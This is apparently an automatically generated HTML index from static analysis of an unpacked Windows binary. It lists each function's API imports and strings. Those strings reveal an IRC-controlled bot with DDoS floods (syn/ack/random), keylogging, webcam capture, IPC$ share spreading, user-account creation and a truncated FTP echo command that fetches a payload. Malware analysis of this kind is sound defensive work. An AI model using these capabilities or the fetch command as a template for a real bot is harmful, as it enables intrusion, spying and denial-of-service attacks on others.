<font color=brown></font></pre></td></tr><tr id="sub_415F5C"><td><pre><a name="sub_415F5C"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_415F5C"><font size=+2>sub_415F5C</a>(cba9)</font>:<font color=darkgreen>
	NTDLL.RtlUnwind</font>
<font color=brown></font></pre></td></tr><tr id="sub_41931A"><td><pre><a name="sub_41931A"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_41931A"><font size=+2>sub_41931A</a>(cbe8)</font>:<font color=darkgreen>
	NTDLL.RtlReAllocateHeap
	NTDLL.RtlAllocateHeap
	KERNEL32.VirtualAlloc
	NTDLL.RtlFreeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_4141DB"><td><pre><a name="sub_4141DB"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4141DB"><font size=+2>sub_4141DB</a>(cd8b)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount</font>
<font color=brown>
	"mIRC"
</font></pre></td></tr><tr id="sub_4010B2"><td><pre><a name="sub_4010B2"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4010B2"><font size=+2>sub_4010B2</a>(cff5)</font>:<font color=darkgreen>
	KERNEL32.QueryPerformanceFrequency
	KERNEL32.QueryPerformanceCounter</font>
<font color=brown>
	"ddos.syn"
	"ddos.ack"
	"ddos.random"
</font></pre></td></tr><tr id="sub_4078DF"><td><pre><a name="sub_4078DF"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4078DF"><font size=+2>sub_4078DF</a>(d050)</font>:<font color=darkgreen>
	NTDLL.RtlDeleteCriticalSection
	KERNEL32.InitializeCriticalSectionAndSpinCount
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_419F74"><td><pre><a name="sub_419F74"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_419F74"><font size=+2>sub_419F74</a>(d2f6)</font>:<font color=darkgreen>
	KERNEL32.RaiseException</font>
<font color=brown></font></pre></td></tr><tr id="sub_4030B0"><td><pre><a name="sub_4030B0"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4030B0"><font size=+2>sub_4030B0</a>(d498)</font>:<font color=darkgreen>
	KERNEL32.MultiByteToWideChar
	KERNEL32.Sleep</font>
<font color=brown>
	"\\IPC$"
	"\\\\"
</font></pre></td></tr><tr id="sub_40443B"><td><pre><a name="sub_40443B"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40443B"><font size=+2>sub_40443B</a>(d5f8)</font>:<font color=darkgreen>
	WS2_32.select
	WS2_32.__WSAFDIsSet</font>
<font color=brown></font></pre></td></tr><tr id="sub_414500"><td><pre><a name="sub_414500"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_414500"><font size=+2>sub_414500</a>(d7a4)</font>:<font color=brown>
	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
</font></pre></td></tr><tr id="sub_4087CA"><td><pre><a name="sub_4087CA"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4087CA"><font size=+2>sub_4087CA</a>(d890)</font>:<font color=darkgreen>
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.FindClose</font>
<font color=brown>
	"%s\\*"
	"%s\\%s"
	" Found: %s\\%s"
</font></pre></td></tr><tr id="sub_41E7E4"><td><pre><a name="sub_41E7E4"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_41E7E4"><font size=+2>sub_41E7E4</a>(d8fa)</font>:<font color=darkgreen>
	KERNEL32.SetUnhandledExceptionFilter</font>
<font color=brown></font></pre></td></tr><tr id="sub_41F120"><td><pre><a name="sub_41F120"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_41F120"><font size=+2>sub_41F120</a>(db0a)</font>:<font color=darkgreen>
	KERNEL32.SetEndOfFile
	NTDLL.RtlGetLastWin32Error</font>
<font color=brown></font></pre></td></tr><tr id="sub_407075"><td><pre><a name="sub_407075"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_407075"><font size=+2>sub_407075</a>(dbc1)</font>:<font color=brown>
	" %s:	%d,"
	" Total: %d in %s."
</font></pre></td></tr><tr id="sub_41D3BD"><td><pre><a name="sub_41D3BD"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_41D3BD"><font size=+2>sub_41D3BD</a>(dcdc)</font>:<font color=darkgreen>
	KERNEL32.GetEnvironmentStringsW
	KERNEL32.GetEnvironmentStrings
	KERNEL32.WideCharToMultiByte
	KERNEL32.FreeEnvironmentStringsW
	KERNEL32.FreeEnvironmentStringsA</font>
<font color=brown></font></pre></td></tr><tr id="sub_4197BC"><td><pre><a name="sub_4197BC"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4197BC"><font size=+2>sub_4197BC</a>(df93)</font>:<font color=darkgreen>
	NTDLL.RtlAllocateHeap
	KERNEL32.VirtualAlloc
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_40A08A"><td><pre><a name="sub_40A08A"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40A08A"><font size=+2>sub_40A08A</a>(e076)</font>:<font color=brown>
	"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_40C409"><td><pre><a name="sub_40C409"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40C409"><font size=+2>sub_40C409</a>(e0b0)</font>:<font color=brown>
	"A:\\"
</font></pre></td></tr><tr id="sub_405ECC"><td><pre><a name="sub_405ECC"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_405ECC"><font size=+2>sub_405ECC</a>(e0c0)</font>:<font color=darkgreen>
	KERNEL32.GetDateFormatA
	KERNEL32.GetTimeFormatA
	KERNEL32.ExitThread</font>
<font color=brown>
	"text/html"
	"application/octet-stream"
	"ddd, dd	MMM yyyy"
	"HH:mm:ss"
	"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
	"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
</font></pre></td></tr><tr id="sub_406A63"><td><pre><a name="sub_406A63"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_406A63"><font size=+2>sub_406A63</a>(e1a1)</font>:<font color=brown>
	"%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
</font></pre></td></tr><tr id="sub_402DD1"><td><pre><a name="sub_402DD1"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_402DD1"><font size=+2>sub_402DD1</a>(e35f)</font>:<font color=darkgreen>
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_40514F"><td><pre><a name="sub_40514F"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40514F"><font size=+2>sub_40514F</a>(e422)</font>:<font color=darkgreen>
	KERNEL32.Sleep</font>
<font color=brown>
	"echo open %s %d > o&echo user	1 1 >> o "...
</font></pre></td></tr><tr id="sub_4203C1"><td><pre><a name="sub_4203C1"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4203C1"><font size=+2>sub_4203C1</a>(e51d)</font>:<font color=darkgreen>
	KERNEL32.SetEnvironmentVariableA</font>
<font color=brown></font></pre></td></tr><tr id="sub_40A8CF"><td><pre><a name="sub_40A8CF"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40A8CF"><font size=+2>sub_40A8CF</a>(e5dd)</font>:<font color=darkgreen>
	KERNEL32.GetTickCount</font>
<font color=brown>
	"%dd %dh %dm"
</font></pre></td></tr><tr id="sub_407CBD"><td><pre><a name="sub_407CBD"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_407CBD"><font size=+2>sub_407CBD</a>(e68e)</font>:<font color=darkgreen>
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.ExitThread
	KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_417869"><td><pre><a name="sub_417869"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_417869"><font size=+2>sub_417869</a>(e781)</font>:<font color=darkgreen>
	KERNEL32.GetCurrentProcess
	KERNEL32.TerminateProcess
	KERNEL32.ExitProcess</font>
<font color=brown></font></pre></td></tr><tr id="sub_4059FC"><td><pre><a name="sub_4059FC"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4059FC"><font size=+2>sub_4059FC</a>(e968)</font>:<font color=darkgreen>
	KERNEL32.GetModuleFileNameA
	WS2_32.send
	KERNEL32.Sleep
	WS2_32.closesocket
	WS2_32.WSACleanup</font>
<font color=brown>
	"rb"
</font></pre></td></tr><tr id="sub_4033B6"><td><pre><a name="sub_4033B6"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4033B6"><font size=+2>sub_4033B6</a>(e9b6)</font>:<font color=darkgreen>
	KERNEL32.CreateFileA
	KERNEL32.TransactNamedPipe
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.ReadFile
	KERNEL32.Sleep</font>
<font color=brown></font></pre></td></tr><tr id="sub_419900"><td><pre><a name="sub_419900"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_419900"><font size=+2>sub_419900</a>(ea79)</font>:<font color=darkgreen>
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_40B078"><td><pre><a name="sub_40B078"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40B078"><font size=+2>sub_40B078</a>(edda)</font>:<font color=darkgreen>
	KERNEL32.GetLocalTime</font>
<font color=brown>
	"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
</font></pre></td></tr><tr id="sub_41F017"><td><pre><a name="sub_41F017"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_41F017"><font size=+2>sub_41F017</a>(ef2b)</font>:<font color=darkgreen>
	NTDLL.RtlAllocateHeap</font>
<font color=brown></font></pre></td></tr><tr id="sub_4021FB"><td><pre><a name="sub_4021FB"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4021FB"><font size=+2>sub_4021FB</a>(ef89)</font>:<font color=darkgreen>
	KERNEL32.Sleep
	KERNEL32.ExitThread</font>
<font color=brown>
	"%s (Changed Windows: %s)"
	"b"
	"%s (Buffer full) (%s)"
	"%s (Return)	(%s)"
</font></pre></td></tr><tr id="sub_414E45"><td><pre><a name="sub_414E45"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_414E45"><font size=+2>sub_414E45</a>(f21d)</font>:<font color=darkgreen>
	KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_40AC8C"><td><pre><a name="sub_40AC8C"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40AC8C"><font size=+2>sub_40AC8C</a>(f47d)</font>:<font color=brown>
	"[NETINFO]: [Type]: %s	(%s). [IP Address"...
</font></pre></td></tr><tr id="sub_40891C"><td><pre><a name="sub_40891C"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40891C"><font size=+2>sub_40891C</a>(f529)</font>:<font color=darkgreen>
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress
	NTDLL.RtlGetLastWin32Error
	KERNEL32.LoadLibraryA</font>
<font color=brown>
	"kernel32.dll"
	"SetErrorMode"
	"CreateToolhelp32Snapshot"
	"Process32First"
	"GetDiskFreeSpaceExA"
	"GetLogicalDriveStringsA"
	"SearchPathA"
	"QueryPerformanceCounter"
	"QueryPerformanceFrequency"
	"RegisterServiceProcess"
	"user32.dll"
	"SendMessageA"
	"FindWindowA"
	"IsWindow"
	"GetClipboardData"
	"CloseClipboard"
	"GetAsyncKeyState"
	"GetKeyState"
	"GetWindowTextA"
	"GetForegroundWindow"
	"advapi32.dll"
	"RegCreateKeyExA"
	"RegSetValueExA"
	"RegQueryValueExA"
	"RegDeleteValueA"
	"RegCloseKey"
	"OpenProcessToken"
	"LookupPrivilegeValueA"
	"AdjustTokenPrivileges"
	"OpenSCManagerA"
	"OpenServiceA"
	"ControlService"
	"CloseServiceHandle"
	"EnumServicesStatusA"
	"IsValidSecurityDescriptor"
	"GetUserNameA"
	"gdi32.dll"
	"CreateDCA"
	"CreateDIBSection"
	"CreateCompatibleDC"
	"GetDIBColorTable"
	"SelectObject"
	"BitBlt"
	"DeleteDC"
	"DeleteObject"
	"ws2_32.dll"
	"WSAStartup"
	"WSASocketA"
	"WSAAsyncSelect"
	"__WSAFDIsSet"
	"WSAIoctl"
	"WSAGetLastError"
	"WSACleanup"
	"socket"
	"ioctlsocket"
	"connect"
	"inet_ntoa"
	"inet_addr"
	"htons"
	"htonl"
	"ntohs"
	"ntohl"
	"send"
	"sendto"
	"recv"
	"recvfrom"
	"bind"
	"select"
	"listen"
	"accept"
	"setsockopt"
	"getsockname"
	"gethostname"
	"getpeername"
	"closesocket"
	"wininet.dll"
	"InternetGetConnectedState"
	"InternetGetConnectedStateEx"
	"HttpOpenRequestA"
	"HttpSendRequestA"
	"InternetConnectA"
	"InternetOpenUrlA"
	"InternetCrackUrlA"
	"InternetReadFile"
	"InternetCloseHandle"
	"Mozilla/4.0 (compatible)"
	"icmp.dll"
	"IcmpCreateFile"
	"IcmpCloseHandle"
	"IcmpSendEcho"
	"netapi32.dll"
	"NetShareAdd"
	"NetShareDel"
	"NetShareEnum"
	"NetScheduleJobAdd"
	"NetApiBufferFree"
	"NetRemoteTOD"
	"NetUserAdd"
	"NetUserDel"
	"NetUserEnum"
	"NetUserGetInfo"
	"NetMessageBufferSend"
	"dnsapi.dll"
	"DnsFlushResolverCache"
	"DnsFlushResolverCacheEntry_A"
	"iphlpapi.dll"
	"DeleteIpNetEntry"
	"mpr.dll"
	"WNetAddConnection2A"
	"WNetAddConnection2W"
	"WNetCancelConnection2A"
	"WNetCancelConnection2W"
	"shell32.dll"
	"SHChangeNotify"
	"odbc32.dll"
	"SQLDriverConnect"
	"SQLAllocHandle"
	"avicap32.dll"
	"capCreateCaptureWindowA"
	"capGetDriverDescriptionA"
</font></pre></td></tr><tr id="sub_40C337"><td><pre><a name="sub_40C337"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40C337"><font size=+2>sub_40C337</a>(f5ac)</font>:<font color=brown>
	"failed"
</font></pre></td></tr><tr id="sub_40A53E"><td><pre><a name="sub_40A53E"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_40A53E"><font size=+2>sub_40A53E</a>(f806)</font>:<font color=darkgreen>
	KERNEL32.Sleep</font>
<font color=brown>
	"PRIVMSG %s	:%s\r"
	"%s"
</font></pre></td></tr><tr id="sub_41D7B5"><td><pre><a name="sub_41D7B5"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_41D7B5"><font size=+2>sub_41D7B5</a>(fc50)</font>:<font color=darkgreen>
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetStdHandle
	KERNEL32.WriteFile</font>
<font color=brown>
	"<program name	unknown>"
	"..."
	"Runtime Error!\n\nProgram: "
	"\n\n"
	"Microsoft Visual C++ Runtime Library"
</font></pre></td></tr><tr id="sub_407F42"><td><pre><a name="sub_407F42"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_407F42"><font size=+2>sub_407F42</a>(fde6)</font>:<font color=darkgreen>
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	KERNEL32.ExitThread</font>
<font color=brown></font></pre></td></tr><tr id="sub_4200AB"><td><pre><a name="sub_4200AB"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_4200AB"><font size=+2>sub_4200AB</a>(fe6c)</font>:<font color=darkgreen>
	KERNEL32.WideCharToMultiByte</font>
<font color=brown></font></pre></td></tr><tr id="sub_419956"><td><pre><a name="sub_419956"></a><a href="0f86ef232a0f754b804b97a7b745b341_unpacked.asm.html#sub_419956"><font size=+2>sub_419956</a>(ffe7)</font>:<font color=darkgreen>
	KERNEL32.VirtualFree</font>
<font color=brown></font></pre></td></tr></table><script>
document.getElementById(window.location.href.split('#')[1]).setAttribute("style", "background-color:#ddddff");
</script>
</html>